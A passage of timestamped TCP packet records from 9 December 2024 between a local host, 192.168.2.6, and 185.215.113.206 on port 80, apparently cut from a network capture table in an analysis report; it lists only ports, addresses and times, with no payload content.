Dec 9, 2024 18:20:08.416332006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.416393042 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.416412115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.416464090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.417340040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.417398930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.417423964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.417471886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.418262959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.418322086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.418401957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.418593884 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.419179916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.419258118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.419310093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.419367075 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.420166016 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.420223951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.420265913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.420312881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.421210051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.421258926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.421267033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.421303988 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.480377913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.480443001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.480490923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.480535030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.480770111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.480815887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.480905056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.480962038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.481736898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.481800079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.481836081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.481887102 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.482696056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.482755899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.482831001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.482886076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.483658075 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.483711004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.483834028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.483887911 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.484592915 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.484656096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.484694958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.484743118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.485764980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.485812902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.485827923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.485850096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.486491919 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.486540079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.486612082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.486653090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.487479925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.487531900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.487622976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.487663984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.488441944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.488495111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.488598108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.488642931 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.489406109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.489459991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.489578962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.489622116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.490406990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.490463972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.490526915 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.490569115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.491302967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.491343021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.491422892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.491466999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.492260933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.492342949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.492435932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.492487907 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.493237019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.493289948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.493323088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.493361950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.494220018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.494271040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.494368076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.494415998 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.495137930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.495181084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.495239973 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.495285034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.496125937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.496165037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.496332884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.496375084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.497056961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.497100115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.497334957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.497518063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.498045921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.498096943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.498136997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.498176098 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.560683012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.560733080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.560782909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.560810089 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.560965061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.561016083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.561038017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.561075926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.561892033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.561980963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.562021971 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.562066078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.562783003 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.562827110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.563004971 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.563051939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.563105106 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.563149929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.563992977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.564040899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.564119101 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.564162016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.564986944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.565037012 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.565112114 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.565154076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.565882921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.565931082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.566018105 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.566065073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.566963911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.567009926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.567086935 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.567131996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.567965984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.568017006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.568110943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.568185091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.568938017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.568989992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.569011927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.569057941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.624588013 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.624624014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.624706030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.624727011 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.625077963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.625098944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.625127077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.625140905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.625694036 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.625745058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.625854969 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.625905037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.626663923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.626708031 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.626800060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.626842022 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.627691031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.627921104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.627928972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.627955914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.628582954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.628659010 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.628668070 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.628695965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.629504919 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.629550934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.629618883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.629661083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.630465031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.630558968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.630594015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.630637884 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.631520033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.631568909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.631577969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.631608009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.632395983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.632448912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.632533073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.632585049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.633435011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.633487940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.633519888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.633562088 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.634311914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.634366989 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.634433985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.634478092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.635318041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.635401964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.635442019 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.635457993 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.636250019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.636305094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.636392117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.636432886 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.637281895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.637339115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.637379885 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.637425900 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.638238907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.638298035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.638330936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.638375044 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.639101982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.639153004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.639193058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.639235020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.640078068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.640136003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.640221119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.640260935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.641028881 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.641149044 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.641355038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.642018080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.642067909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.642143965 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.642205954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.642987967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.643033028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.643094063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.643134117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.643906116 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.643954992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.644015074 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.644062996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.644869089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.644920111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.645056963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.645100117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.645848036 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.645905018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.687072039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.687180996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.687225103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.687267065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.687576056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.687613964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.687661886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.687705994 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.688497066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.688540936 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.688612938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.688652039 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.689488888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.689547062 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.689601898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.689640999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.690536976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.690587044 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.690625906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.690665007 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.691415071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.691461086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.691550970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.691590071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.692512035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.692557096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.692850113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.692889929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.693736076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.693780899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.693816900 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.693856001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.694616079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.694673061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.694709063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.694756985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.695593119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.695647001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.695656061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.695693016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.696362019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.696414948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.696464062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.696506977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.697175980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.697228909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.697284937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.697323084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.698144913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.698196888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.698235989 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.698278904 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.699050903 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.699104071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.699229002 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.699270964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.699989080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.700041056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.700117111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.700158119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.700994968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.701059103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.701159954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.701195955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.702124119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.702169895 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.702263117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.702301979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.702896118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.702938080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.703017950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.703057051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.703879118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.703918934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.704066992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.704117060 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.704843044 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.704895020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.704965115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.704999924 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.752528906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.752618074 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.752655029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.752718925 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.753014088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.753079891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.753118992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.753163099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.753968000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.754018068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.754060030 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.754113913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.754826069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.754879951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.755528927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.755574942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.755636930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.755686045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.756112099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.756161928 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.756232977 CET	80	49707	185.215.113.206	192.168.2.6
